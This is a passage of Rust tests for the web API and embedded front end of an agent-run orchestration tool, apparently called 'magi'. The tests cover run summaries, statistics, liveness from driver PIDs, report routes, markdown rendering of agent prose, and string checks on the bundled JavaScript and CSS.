11065 #[tokio::test]
11066 async fn stats_lists_every_repository_with_runs_recorded() {
11067 let f = Fixture::start().await;
11068 write_run_repo(
11069 &f.runs(),
11070 "20260902-140501-a",
11071 RunStatus::Merged,
11072 "/repos/a",
11073 );
11074 write_run_repo(
11075 &f.runs(),
11076 "20260902-140502-b",
11077 RunStatus::Merged,
11078 "/repos/a",
11079 );
11080 write_run_repo(
11081 &f.runs(),
11082 "20260902-140503-c",
11083 RunStatus::Blocked,
11084 "/repos/b",
11085 );
11086
11087 let stats = f.get("/api/stats").await;
11088 assert_eq!(stats.status, 200);
11089 assert_eq!(stats.json()["totals"]["runs"], 3);
11091 assert_eq!(stats.json()["repo"], Value::Null);
11092
11093 let repos = stats.json()["repos"].clone();
11094 let repos = repos.as_array().unwrap();
11095 assert_eq!(repos.len(), 2);
11096 assert_eq!(repos[0]["repo"], "/repos/a");
11098 assert_eq!(repos[0]["name"], "a");
11099 assert_eq!(repos[0]["runs"], 2);
11100 assert_eq!(repos[1]["repo"], "/repos/b");
11101 assert_eq!(repos[1]["runs"], 1);
11102 }
11103
11104 #[tokio::test]
11105 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11106 let f = Fixture::start().await;
11107 write_run_repo(
11108 &f.runs(),
11109 "20260902-140501-a",
11110 RunStatus::Merged,
11111 "/repos/a",
11112 );
11113 write_run_repo(
11114 &f.runs(),
11115 "20260902-140502-b",
11116 RunStatus::Blocked,
11117 "/repos/b",
11118 );
11119
11120 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11121 assert_eq!(stats.status, 200);
11122 assert_eq!(stats.json()["totals"]["runs"], 1);
11123 assert_eq!(stats.json()["totals"]["merged"], 1);
11124 assert_eq!(stats.json()["repo"], "/repos/a");
11125 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11128 assert_eq!(stats.json()["runs_unreadable"], 0);
11131 }
11132
11133 #[tokio::test]
11134 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11135 let f = Fixture::start().await;
11136 write_run_repo(
11137 &f.runs(),
11138 "20260902-140501-a",
11139 RunStatus::Merged,
11140 "/repos/a",
11141 );
11142
11143 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11144 assert_eq!(stats.status, 404);
11145 }
11146
11147 #[tokio::test]
11148 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11149 let f = Fixture::start().await;
11150 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11151
11152 let summary = f.get("/api/runs").await.json();
11153 let row = &summary[0];
11154 assert_eq!(row["short"], "a1b2");
11155 assert_eq!(row["status"], "ready");
11156 assert_eq!(row["done"], true);
11157 assert_eq!(row["title"], "Add a web UI");
11158 assert_eq!(row["repo_name"], "magi");
11159 assert_eq!(row["judges"], 3);
11160 assert_eq!(row["winner"], Value::Null);
11161 assert_eq!(row["reviews"], 0);
11162
11163 let detail = f.get("/api/runs/a1b2").await;
11166 assert_eq!(detail.status, 200);
11167 assert_eq!(detail.json()["base_branch"], "main");
11168 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11169 }
11170
11171 #[tokio::test]
11179 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11180 let f = Fixture::start().await;
11181
11182 let mut none_run = RunState::new(
11183 PathBuf::from("/repo/magi"),
11184 "main".to_owned(),
11185 "0123456789abcdef".to_owned(),
11186 "Add a web UI".to_owned(),
11187 Config::default(),
11188 );
11189 none_run.id = "20260902-140503-none".to_owned();
11190 none_run.status = RunStatus::Ready;
11191 none_run.merge = Some(crate::run::MergeOutcome {
11192 mode: crate::config::MergeMode::None,
11193 ok: true,
11194 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11195 empty: false,
11196 });
11197 write_state(&f.runs(), &none_run);
11198
11199 let mut pr_run = RunState::new(
11200 PathBuf::from("/repo/magi"),
11201 "main".to_owned(),
11202 "0123456789abcdef".to_owned(),
11203 "Add a web UI".to_owned(),
11204 Config::default(),
11205 );
11206 pr_run.id = "20260902-140504-prcl".to_owned();
11207 pr_run.status = RunStatus::Ready;
11208 pr_run.merge = Some(crate::run::MergeOutcome {
11209 mode: crate::config::MergeMode::Pr,
11210 ok: false,
11211 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11212 empty: false,
11213 });
11214 write_state(&f.runs(), &pr_run);
11215
11216 let summary = f.get("/api/runs").await.json();
11217 let rows: std::collections::HashMap<&str, &Value> = summary
11218 .as_array()
11219 .expect("an array")
11220 .iter()
11221 .map(|r| (r["id"].as_str().expect("an id"), r))
11222 .collect();
11223 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11224 assert_eq!(
11225 rows[none_run.id.as_str()]["unmerged_by_design"],
11226 true,
11227 "a mode-none Ready must be flagged in the list"
11228 );
11229 assert_eq!(
11230 rows[pr_run.id.as_str()]["unmerged_by_design"],
11231 false,
11232 "a Ready reached by a closed pull request is a different case"
11233 );
11234
11235 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11236 assert_eq!(none_detail["status"], "ready");
11237 assert_eq!(none_detail["unmerged_by_design"], true);
11238
11239 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11240 assert_eq!(pr_detail["unmerged_by_design"], false);
11241 }
11242
11243 #[tokio::test]
11248 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11249 let f = Fixture::start().await;
11250 let id = "20260902-140502-bbbb";
11254 let mut state = RunState::new(
11255 PathBuf::from("/repo/magi"),
11256 "main".to_owned(),
11257 "0123456789abcdef".to_owned(),
11258 "Add a web UI".to_owned(),
11259 Config::default(),
11260 );
11261 state.id = id.to_owned();
11262 state.status = RunStatus::Judging;
11263 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11264 let dir = f.runs().join(id);
11265 std::fs::create_dir_all(&dir).expect("run dir");
11266 std::fs::write(
11267 dir.join("run.json"),
11268 serde_json::to_string_pretty(&state).expect("serialize run"),
11269 )
11270 .expect("write run.json");
11271
11272 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11278 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11279 assert_eq!(cold["live"], "unknown", "{cold}");
11280
11281 write_daemon(f.home.path(), Timestamp::now());
11284 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11285 assert_eq!(warm["live"], "live", "{warm}");
11286 }
11287
11288 #[tokio::test]
11291 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11292 let f = Fixture::start().await;
11293 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11294 let mut state = RunState::new(
11295 PathBuf::from("/repo/magi"),
11296 "main".to_owned(),
11297 "0123456789abcdef".to_owned(),
11298 "Add a web UI".to_owned(),
11299 Config::default(),
11300 );
11301 state.id = id.to_owned();
11302 state.origin = origin;
11303 let mut value = serde_json::to_value(&state).expect("serialize run");
11304 if let Some(schema) = schema {
11305 value["schema"] = serde_json::json!(schema);
11306 value.as_object_mut().unwrap().remove("origin");
11307 }
11308 let dir = f.runs().join(id);
11309 std::fs::create_dir_all(&dir).expect("run dir");
11310 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11311 };
11312 write(
11313 "20260930-092817-ec34",
11314 Some(crate::run::Origin::from_agent_env(
11315 Some(("4a7b".to_owned(), "chat".to_owned())),
11316 None,
11317 )),
11318 None,
11319 );
11320 write("20260930-092817-0ld1", None, Some(12));
11321
11322 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11323 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11324 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11325
11326 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11327 assert_eq!(
11328 old["origin_label"], "origin unknown (started before origins were recorded)",
11329 "{old}"
11330 );
11331 assert!(old["origin"].is_null(), "{old}");
11332
11333 let list = f.get("/api/runs").await.json();
11334 let labels: Vec<_> = list
11335 .as_array()
11336 .unwrap()
11337 .iter()
11338 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11339 .collect();
11340 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11341 }
11342
11343 #[tokio::test]
11350 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11351 let f = Fixture::start().await;
11352 let id = "20260922-090000-cccc";
11353 let mut state = RunState::new(
11354 PathBuf::from("/repo/magi"),
11355 "main".to_owned(),
11356 "0123456789abcdef".to_owned(),
11357 "Review only".to_owned(),
11358 Config::default(),
11359 );
11360 state.id = id.to_owned();
11361 state.status = RunStatus::Reviewing;
11362 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11363 state.driver_pid = Some(std::process::id());
11369 state.driver_started_at = Some(
11370 crate::proc::process_started_at(std::process::id())
11371 .expect("this test process's own start time must be queryable"),
11372 );
11373 let dir = f.runs().join(id);
11374 std::fs::create_dir_all(&dir).expect("run dir");
11375 std::fs::write(
11376 dir.join("run.json"),
11377 serde_json::to_string_pretty(&state).expect("serialize run"),
11378 )
11379 .expect("write run.json");
11380
11381 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11382 assert_eq!(detail["live"], "live", "{detail}");
11383 }
11384
11385 #[tokio::test]
11391 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11392 let f = Fixture::start().await;
11393 let id = "20260922-090100-dddd";
11394 let mut state = RunState::new(
11395 PathBuf::from("/repo/magi"),
11396 "main".to_owned(),
11397 "0123456789abcdef".to_owned(),
11398 "Review only".to_owned(),
11399 Config::default(),
11400 );
11401 state.id = id.to_owned();
11402 state.status = RunStatus::Reviewing;
11403 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11404 state.driver_pid = Some(std::process::id());
11409 state.driver_started_at = Some("1".to_owned());
11410 let dir = f.runs().join(id);
11411 std::fs::create_dir_all(&dir).expect("run dir");
11412 std::fs::write(
11413 dir.join("run.json"),
11414 serde_json::to_string_pretty(&state).expect("serialize run"),
11415 )
11416 .expect("write run.json");
11417
11418 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11419 assert_eq!(detail["live"], "dead", "{detail}");
11420 }
11421
11422 #[test]
11426 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11427 let mk = |id: &str, pid: Option<u32>| {
11428 let mut s = RunState::new(
11429 PathBuf::from("/repo/magi"),
11430 "main".to_owned(),
11431 "0123456789abcdef".to_owned(),
11432 "Add a web UI".to_owned(),
11433 Config::default(),
11434 );
11435 s.id = id.to_owned();
11436 s.driver_pid = pid;
11437 s.driver_started_at = Some("1790000000".to_owned());
11438 s
11439 };
11440 let states = vec![
11441 mk("20260902-140502-aaaa", Some(77)),
11442 mk("20260902-140502-bbbb", Some(77)),
11443 mk("20260902-140502-cccc", Some(77)),
11444 mk("20260902-140502-dddd", None),
11445 ];
11446 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11447 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11448 let sup: HashMap<String, String> = [(
11449 "20260902-140502-aaaa".to_owned(),
11450 "20260902-140502-cccc".to_owned(),
11451 )]
11452 .into();
11453
11454 let status_calls = std::cell::Cell::new(0);
11455 let identity_calls = std::cell::Cell::new(0);
11456 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11457 |_| {
11458 status_calls.set(status_calls.get() + 1);
11459 Some(true)
11460 },
11461 |_| {
11462 identity_calls.set(identity_calls.get() + 1);
11463 Some("1790000000".to_owned())
11464 },
11465 ));
11466 let rows = summarize(
11467 states,
11468 &open,
11469 &claimed,
11470 &sup,
11471 |p| probe.borrow_mut().status(p),
11472 |p| probe.borrow_mut().started_at(p),
11473 );
11474
11475 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11476 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11477 assert_eq!(rows.len(), 4);
11478 assert!(!rows[0].waiting && rows[1].waiting);
11479 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11480 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11481 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11482 assert_eq!(rows[1].superseded_by, None);
11483 }
11484
11485 #[test]
11486 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11487 let mut state = RunState::new(
11488 PathBuf::from("/repo/magi"),
11489 "main".to_owned(),
11490 "0123456789abcdef".to_owned(),
11491 "Review only".to_owned(),
11492 Config::default(),
11493 );
11494 state.id = "20260922-090200-dead".to_owned();
11495 state.status = RunStatus::Reviewing;
11496 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11497 .expect("serialize list row");
11498 assert_eq!(row["status"], "reviewing");
11499 assert_eq!(row["live"], "dead", "{row}");
11500 assert!(!row["done"].as_bool().unwrap());
11501 }
11502
11503 #[tokio::test]
11504 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11505 let f = Fixture::start().await;
11506 for id in [
11507 "20260902-140501-aaaa",
11508 "20260902-140502-bbbb",
11509 "20260902-140503-cccc",
11510 ] {
11511 write_run(&f.runs(), id, RunStatus::Merged);
11512 }
11513
11514 let all = f.get("/api/runs").await.json();
11515 let capped = f.get("/api/runs?limit=2").await.json();
11516
11517 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11518 assert_eq!(all.as_array().map(Vec::len), Some(3));
11519 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11520 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11521 }
11522
11523 #[tokio::test]
11524 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11525 let f = Fixture::start().await;
11526 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11527
11528 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11529
11530 assert_eq!(res.status, 200);
11531 assert!(
11532 res.headers
11533 .contains("content-type: text/plain; charset=utf-8"),
11534 "a browser must render it, not download it: {}",
11535 res.headers
11536 );
11537 assert!(
11541 res.body.contains("20260902-140501-a1b2"),
11542 "the report is about the run that was asked for: {}",
11543 res.body
11544 );
11545 }
11546
11547 #[tokio::test]
11548 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11549 crate::run::pin_test_home();
11551 let f = Fixture::start().await;
11552 let id = "20260902-140501-a1b2";
11553 write_run(&f.runs(), id, RunStatus::Stalled);
11554 let path = f.runs().join(id).join("run.json");
11557 let mut v: serde_json::Value =
11558 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11559 v["tally"] = serde_json::json!({
11560 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11561 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11562 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11563 "met_quorum": false, "rankings": 1
11564 });
11565 v["reviews"] = serde_json::json!([{
11566 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11567 "e2e_deferred": true,
11568 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11569 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11570 ]}]
11571 }]);
11572 std::fs::write(&path, v.to_string()).unwrap();
11573 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11574 std::fs::write(
11575 f.runs().join("20260902-140502-dead").join("run.json"),
11576 "{not json",
11577 )
11578 .unwrap();
11579
11580 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11581
11582 assert_eq!(res.status, 200, "{}", res.body);
11583 assert!(res.headers.contains("content-type: application/json"));
11584 let j = res.json();
11585 assert_eq!(j["schema"], 1);
11586 assert_eq!(j["header"]["id"], id);
11587 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11588 let kinds: Vec<&str> = j["sections"]
11589 .as_array()
11590 .unwrap()
11591 .iter()
11592 .map(|s| s["kind"].as_str().unwrap())
11593 .collect();
11594 assert_eq!(kinds, ["candidates", "tally", "review"]);
11595 let tally = &j["sections"][1]["tally"];
11596 assert_eq!(
11597 (tally["decided"].clone(), tally["provisional"].clone()),
11598 (false.into(), true.into())
11599 );
11600 let round = &j["sections"][2]["rounds"][0];
11601 assert_eq!(round["e2e"]["state"], "deferred");
11602 assert_eq!(round["findings"][0]["severity"], "major");
11603 assert_eq!(round["findings"][0]["blocking"], true);
11604 assert_eq!(round["findings"][0]["state"], "open");
11605
11606 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11608
11609 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11611 assert_ne!(bad.status, 200, "{}", bad.body);
11612 assert_eq!(
11613 bad.status,
11614 f.get("/api/runs/20260902-140502-dead/report").await.status
11615 );
11616 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11617 assert_eq!(
11618 f.get("/api/runs/20260902-999999-ffff/report.json")
11619 .await
11620 .status,
11621 404
11622 );
11623 }
11624
11625 #[tokio::test]
11626 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11627 let f = Fixture::start().await;
11628
11629 let html = f.get("/").await;
11630 let css = f.get("/app.css").await;
11631 let js = f.get("/app.js").await;
11632
11633 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11634 assert!(
11635 html.headers
11636 .contains("content-type: text/html; charset=utf-8")
11637 );
11638 assert!(css.headers.contains("content-type: text/css"));
11639 assert!(js.headers.contains("content-type: text/javascript"));
11640 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11641 }
11642
11643 #[test]
11644 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11645 let body = |name: &str| {
11646 let at = APP_JS
11647 .find(name)
11648 .unwrap_or_else(|| panic!("{name} missing"));
11649 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11650 };
11651 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11652 let note = body("function landRoundNote");
11653 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11654 assert!(note.contains("Land round ${round}"));
11655 let land = body("function renderLand");
11656 let note_at = land
11657 .find("landRoundNote(pr)")
11658 .expect("renderLand uses the note");
11659 assert!(
11660 note_at
11661 < land
11662 .find("roundRail(pr)")
11663 .expect("renderLand uses the rail")
11664 );
11665 }
11666
11667 #[test]
11668 fn the_runs_page_redesign_keeps_its_guards() {
11669 let body = |name: &str| {
11670 let at = APP_JS
11671 .find(name)
11672 .unwrap_or_else(|| panic!("{name} missing"));
11673 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11674 };
11675 let land = body("function renderLand");
11677 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11678 assert!(
11679 !land.contains("box.append("),
11680 "renderLand must use append()"
11681 );
11682 assert!(land.contains("append(box, ["));
11683 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11685 assert!(
11686 body("function applyRoute")
11687 .contains("route.name !== state.route.name || route.id !== state.route.id")
11688 );
11689 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11691 assert!(!INDEX_HTML.contains("advise-converge"));
11692 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11693 assert!(APP_JS.contains("provisional"));
11694 for id in [
11695 "run-tab-overview",
11696 "run-tab-timeline",
11697 "run-tab-report",
11698 "run-report",
11699 "runs-scope",
11700 ] {
11701 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11702 }
11703 assert!(!INDEX_HTML.contains("runs-tree"));
11704 assert!(!INDEX_HTML.contains("run-raw-panel"));
11705 assert!(APP_JS.contains("resume"));
11707 assert!(APP_JS.contains("unreadable"));
11709 }
11710
11711 #[test]
11712 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11713 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11714 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11715 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11716 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11717 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11718 assert!(APP_JS.contains("unreadable` : null"));
11720 }
11721
11722 #[test]
11723 fn the_run_detail_payload_says_whether_the_run_is_done() {
11724 for (status, done) in [
11726 (RunStatus::Superseded, true),
11727 (RunStatus::Blocked, true),
11728 (RunStatus::Landing, false),
11729 ] {
11730 let mut state = RunState::new(
11731 std::path::PathBuf::from("/repo"),
11732 "main".to_owned(),
11733 "abc".to_owned(),
11734 "x".to_owned(),
11735 crate::config::Config::default(),
11736 );
11737 state.status = status;
11738 let v = serde_json::to_value(RunDetailView::of(
11739 state,
11740 crate::run::Liveness::Unknown,
11741 None,
11742 None,
11743 None,
11744 ))
11745 .unwrap();
11746 assert_eq!(v["done"], done, "{status:?}");
11747 }
11748 }
11749
11750 fn has_strong(nodes: &[md::Node]) -> bool {
11752 serde_json::to_string(nodes).unwrap().contains("strong")
11753 }
11754
11755 #[test]
11756 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11757 let mut state = RunState::new(
11758 std::path::PathBuf::from("/repo"),
11759 "main".to_owned(),
11760 "abc".to_owned(),
11761 "x".to_owned(),
11762 crate::config::Config::default(),
11763 );
11764 let proposal = |approach: &str| {
11765 serde_json::json!({
11766 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11767 })
11768 };
11769 state.advice = Some(
11770 serde_json::from_value(serde_json::json!({
11771 "records": [
11772 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11773 "proposal": proposal("do **this**")},
11774 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11775 ],
11776 "synthesis": "- one\n- **two**\n\n`code`",
11777 }))
11778 .unwrap(),
11779 );
11780 state.candidates = serde_json::from_value(serde_json::json!([
11781 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11782 "summary": "did **it**"},
11783 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11784 ]))
11785 .unwrap();
11786 state.reviews = serde_json::from_value(serde_json::json!([{
11789 "round": 1, "head": "h",
11790 "reviews": [{
11791 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11792 "findings": [
11793 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11794 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11795 ],
11796 }],
11797 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11798 "fix": {"agent": "a", "notes": "fixed **it**",
11799 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11800 }, {"round": 2, "head": "h2", "reviews": []}]))
11801 .unwrap();
11802
11803 let v = serde_json::to_value(RunDetailView::of(
11804 state,
11805 crate::run::Liveness::Unknown,
11806 None,
11807 None,
11808 None,
11809 ))
11810 .unwrap();
11811
11812 let strong = |p: &str| {
11813 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11814 assert!(n.to_string().contains("strong"), "{p}: {n}");
11815 };
11816 strong("/advice_md/synthesis");
11817 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11818 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11819 strong("/advice_md/approaches/0");
11820 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11821 strong("/candidate_summaries_md/0");
11822 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11823 strong("/reviews_md/0/reviewers/0/summary");
11824 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11825 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11826 assert!(f[1].to_string().contains("strong"));
11827 strong("/reviews_md/0/reconsideration/0");
11828 strong("/reviews_md/0/fix/notes");
11829 strong("/reviews_md/0/fix/rejected/0");
11830 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11831 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11832 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11834 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11835 }
11836
11837 #[test]
11838 fn a_run_without_advice_has_no_advice_md() {
11839 let state = RunState::new(
11840 std::path::PathBuf::from("/repo"),
11841 "main".to_owned(),
11842 "abc".to_owned(),
11843 "x".to_owned(),
11844 crate::config::Config::default(),
11845 );
11846 let p = run_prose_md(&state);
11847 assert!(p.advice_md.is_none());
11848 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11849 }
11850
11851 #[test]
11852 fn a_question_view_carries_markdown_for_each_thread_turn() {
11853 let home = TempDir::new().unwrap();
11854 let store = ask::Questions::at(home.path().join("questions"));
11855 let mut q = Question::new(
11856 "run".to_owned(),
11857 "implement".to_owned(),
11858 "impl-A".to_owned(),
11859 "which?".to_owned(),
11860 String::new(),
11861 Vec::new(),
11862 );
11863 q.say("plain words").unwrap();
11864 q.reply("use **this**", Vec::new()).unwrap();
11865 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11866 let bodies = &v["thread_bodies_md"];
11867 assert_eq!(bodies.as_array().unwrap().len(), 2);
11868 assert!(!bodies[0].to_string().contains("strong"));
11869 assert!(bodies[1].to_string().contains("strong"));
11870 }
11871
11872 #[test]
11873 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11874 assert!(APP_JS.contains("function landView(run, raw) {"));
11878 assert!(
11879 APP_JS.contains(
11880 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11881 )
11882 );
11883 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11884 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11885 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11886 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11887 }
11888
11889 #[test]
11890 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11891 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11892 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11893 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11894 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11895 }
11896
11897 #[test]
11898 fn review_rounds_label_a_distinct_verified_head() {
11899 assert!(APP_JS.contains("round.verified_head"));
11900 assert!(APP_JS.contains("verified HEAD"));
11901 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11902 }
11903
11904 #[test]
11905 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11906 assert!(APP_JS.contains("blocked: { glyph:"));
11910 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11911
11912 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11916 assert!(
11917 APP_JS.contains(
11918 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11919 ),
11920 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11921 );
11922 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11926
11927 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11931 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11932 assert!(
11933 APP_JS.contains("location.hash = \"#/questions\";"),
11934 "a question node must jump to the Questions screen, not pretend to be a task"
11935 );
11936
11937 assert!(APP_JS.contains("Resolved questions"));
11940 assert!(APP_JS.contains("r.answersList.append("));
11941 assert!(APP_CSS.contains(".task-answers"));
11942 {
11943 let start = APP_JS
11944 .find("function updateTalkTaskRow")
11945 .expect("updateTalkTaskRow");
11946 let body = &APP_JS[start..];
11947 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11948 assert!(
11949 body.contains(
11950 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11951 ),
11952 "a chat-filed task row must link to the task page"
11953 );
11954 assert!(
11955 !body.contains("#/runs/") && !body.contains("#/queue/"),
11956 "the row must not branch to a run or the queue card"
11957 );
11958 assert!(APP_CSS.contains(".talk-task-link"));
11959 }
11960 }
11961
11962 #[test]
11963 fn a_task_notification_links_to_the_task_page() {
11964 let start = APP_JS
11966 .find("function noticeLink(")
11967 .expect("noticeLink exists");
11968 let body = &APP_JS[start..];
11969 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11970 assert!(
11971 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11972 "a task notice's link must target the task page"
11973 );
11974 assert!(
11975 !body.contains("#/queue/"),
11976 "regression: the task link must not go back to the Backlog route"
11977 );
11978 assert!(
11979 APP_JS.contains(
11980 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11981 ),
11982 "`#/tasks/<id>` must parse into the task route"
11983 );
11984
11985 assert!(
11987 APP_JS.contains(
11988 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11989 ),
11990 "`#/queue/<id>` must parse into a route carrying that id"
11991 );
11992
11993 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11997 assert!(APP_JS.contains("function consumeQueueFocus()"));
11998 assert!(APP_JS.contains("jumpToTask(id)"));
11999 }
12000
12001 #[test]
12004 fn chat_rows_put_the_title_alone_on_the_first_line() {
12005 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12006 assert!(APP_CSS.contains(
12007 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12008 ));
12009 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
